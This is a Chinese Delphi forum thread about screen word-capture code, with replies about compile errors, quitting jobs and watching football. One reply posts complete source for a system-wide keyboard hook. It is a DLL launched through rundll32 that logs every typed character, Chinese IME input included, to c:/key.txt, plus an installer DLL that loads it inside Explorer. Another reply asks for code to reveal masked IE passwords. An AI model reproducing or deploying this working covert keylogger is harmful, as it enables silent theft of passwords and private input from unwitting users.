超级奉献：屏幕取词完全Delphi实现代码！ (0分)

是不是关于进程三级跳的?好的.麻烦发到我信箱我帮你上传.
webmaster@138soft.com需要注明版权之类的吗?
我这里也有一个.朋友写的.

{
win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)
-----------------------------------------------------
windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型，他能过滤大部分的
windows消息，但是要做成系统级的钩子，就要使用动态链接库，这样做很困难，因为涉及到多
线程及全局变量，等问题，当然在某些情况下还会有线程同步及同步冲突问题，关于同步问题
暂时不在这讲，因为这儿用不到，以后会举同步的例子，由于这些原因常会导致错误，本程序
用了一个巧妙的方法解决了这个问题，主要技巧是不用*.exe，只用*.dll，并用windows自带的
rundll32.exe程序来运行这个GetKey.dll，本程序能过滤wm_char,和wm_ime_char消息，所以能
得到键盘输入的任何字中英文字符，结果存在C;/key.txt中,使用方法为:
rundll32 GetKey.dll,run
下面这个程序用Delphi设计，没有用delphi的控件，只用了win32 api，所以通用于Delphi的任
何版本，当然你也可以用c来实现,有看不懂的可以写信给我，这是第一版，可能有BUG,大家发
现了通知我一下，欢迎大家和我一起来讨论HOOK技术:
-----------------------------------------------------
First Created:njhhack 2001.6.14 (ver1.0)
电子信箱:njhhack@21cn.com
主页:hotsky.363.net
}
library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
SharedShared;
Win:TWin;

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;

procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReasonWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件，用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.

//-----------------------------------------------
library Install;
uses windows,messages,sysutils,tlhelp32;
{$r *.res}
const
HookMemFileName='HookMemFile3.DTA';
type
trun=procedure;stdcall;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Receiver:integer;
busy:boolean;
hInstance:integer;
selfhand:integer;
LibHandle:integer;
CurPath:string;
end;
PShared=^TShared;
var
hMain:integer;
Msg:TMsg;
wClass:TWndClass;
MemFile:THandle;
SharedShared;
prun:trun=nil;

function tfun(lpointer):lresult;stdcall;
begin
with shared^ do
if LibHandle=0 then
begin
LibHandle:=LoadLibrary(pchar(shared^.CurPath+'GetKey.dll'));
if libhandle<>0 then
begin
if @prun=nil then
begin
prun:=GetProcAddress(LibHandle,'run');
if @prun<>nil then prun;
end;
end;
end;
result:=0;
end;

procedure FindProcessName;
var
lppe:tprocessentry32;
sshandle:thandle;
found:boolean;
tid:dword;
begin
sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
found:=process32first(sshandle,lppe);
while found do
begin
if (getcurrentprocessid=lppe.th32ProcessID)
and (strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('EXPLORER.EXE'))=0) then
begin
shared^.busy:=true;
CreateThread(nil,0,@tfun,nil,0,tid);
end;
if strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('WINEXEC.EXE'))=0 then
begin
Shared^.CurPath:=ExtractFilePath(lppe.szExefile);
end;
found:=process32next(sshandle,lppe);
end;
CloseHandle(sshandle);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if uMessage=WM_lbuttonup then
begin
if findwindow('GetKey',nil)<>0 then
begin
// postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
end;
if shared^.busy=false then
begin
findProcessName;
end;
end;
end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
halt;
end;
end;
end;

procedure Intro;
begin
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
end;

procedure DllEntryPoint(fdwReasonWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:Extro;
end;
end;

procedure run;stdcall;
begin
wClass.lpfnWndProc:= @WindowProc;
wClass.hInstance:= hInstance;
wClass.lpszClassName:= 'MyHost-Install';
RegisterClass(wClass);
hmain:=CreateWindowEx(ws_ex_toolwindow,wClass.lpszClassName,'MyHost-Install',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
Shared^.selfhand:=hmain;
Shared^.busy:=false;
SetHook(true);
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

exports run;

begin
Intro;
DLLProc:=@DllEntryPoint;
end.

//------------------------------------------------------------
Program WinExec;
uses windows,messages,sysutils;
{$r *.res} //使用资源文件
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
hLib:integer;
end;
var
Win:TWin; //结构变量
hRunrocedure;stdcall;
//
procedure runhookfun;
begin
win.hlib:=loadlibrary('install.dll');
if win.hlib=0 then messagebox(win.hmain,'error','',0);
hrun:=GetProcAddress(win.hlib,'run');
if @hrun<>nil then hrun;
// freelibrary(win.hlib);
end;

procedure runhook;
var tid:integer;
begin
createthread(nil,0,@runhookfun,nil,0,tid);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:halt;
end;
end;

//主程序的执行函数
procedure runme;stdcall;
begin
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='WinExec';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'WinExec',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
runhook;
while(GetMessage(win.Msg,win.hmain,0,0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

begin
runme; //开始运行主程序
end.

太累

to jingtao:
有没有能够看IE浏览器下的星号的代码？
虽然IE中其实是明码，但从提取信息和显示的角度将，编程难度会比windows的密码高得多

编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”

哈哈不错词取出来了

wonderful
向各位高人们学习

收藏

>编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”
Can not register class CHILD 87
我也是出現這個錯誤..
繁體win98se , delphi6 sp2

请阅读第一贴以及源代码。

API拦截的太少了(反编译某产品得来的)
TextOutA
TextOutW
ExtTextOutA
ExtTextOutW
DrawTextA
DrawTextW
DrawTextExA
DrawTextExW
TabbedTextOutA
TabbedTextOutW
PolyTextOutA
PolyTextOutW
GetTextExtentExPointA
GetTextExtentExPointW
GetTextExtentPoint32A
GetTextExtentPoint32W
GetTextExtentPointA
GetTextExtentPointW

同意，
请阅读第一贴

多謝

阿甘!
呵呵,看到你给我的短信,不知道怎么搞一个短信给你!呵呵
你不是跳槽了吗?怎么样?给小日本干没有意思,不知道你现在怎么样阿?我现在的mail
jokeyxu@sina.com

对头我现在已经辞职了，就今天，
感觉精神爽多了。
嗯，收到mail的各位，有人给我介绍工作吗？

辞职了，
^_^，我今天在家休息了。
好放松哦。

to:huiyugan
在Win98下运行报错，是怎么回事，请教.

我估计你是个超级球迷，请不到假，索性辞职以看球

to zwhc:
你真才是超级球迷，这招都想得出来。
呵呵，实际上，我穷得连电视都买不起，
所以只好想上网在线看啊，不过猫实在是太慢了。
不过，昨天我发现一个好得看球的地方，商场啊，
啥好电视机都以放球赛作广告，还有空调啊。

to KinKong:
我说过了，我发的这个东东只运行在2000下。
哪天俺有时间再搞一个98的版本吧。

to:huiyugan
在Win98下运行报错，是怎么回事，请教.

To KingKong:
您好，关于这个问题，请您阅读第一贴。
******** 此代码运行于Win2000下 **********
******** 需要稍作修改方可用于98。********